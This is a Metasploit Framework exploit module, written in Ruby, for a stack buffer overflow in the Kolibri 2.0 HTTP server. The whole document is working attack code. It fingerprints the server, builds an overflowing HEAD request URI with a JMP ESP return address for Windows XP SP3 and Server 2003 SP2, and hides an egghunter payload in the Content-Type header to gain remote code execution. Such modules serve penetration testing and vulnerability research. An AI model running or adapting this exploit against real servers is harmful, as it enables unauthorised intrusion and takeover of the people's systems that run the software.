Kolibri 2.0 HTTP Server HEAD Buffer Overflow

`##  
# $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $  
  
##  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',  
'Description' => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},  
'Author' =>   
[   
'mr_me <[email protected]>', # msf  
'TheLeader' # original exploit  
],  
'Version' => '$Revision: 10887 $',  
'References' =>  
[  
[ 'CVE', '2002-2268' ],  
[ 'OSVDB', '70808' ],  
[ 'BID', '6289' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/15834/' ],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 3000,  
'DisableNops' => true,  
'BadChars' => "\x00\x0d\x0a\x3d\x20\x3f",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,  
[ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,  
],  
'DisclosureDate' => 'Dec 26 2010',  
'DefaultTarget' => 0))  
end  
  
def check  
info = http_fingerprint  
if info and (info =~ /kolibri-2\.0/)  
return Exploit::CheckCode::Vulnerable  
end  
Exploit::CheckCode::Safe  
end  
  
def exploit  
#7E429353 FFE4 JMP ESP  
# For a reliable and large payload, we use an egg hunter  
# and direct RET to execute code  
print_status("Sending request...")  
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)  
sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')  
sploit << eh_stub  
send_request_raw({  
'uri' => "/" + sploit,  
'version' => '1.1',  
'method' => 'HEAD',  
'headers' => {'Content-Type' => eh_egg},  
})  
  
handler  
end  
  
end  
`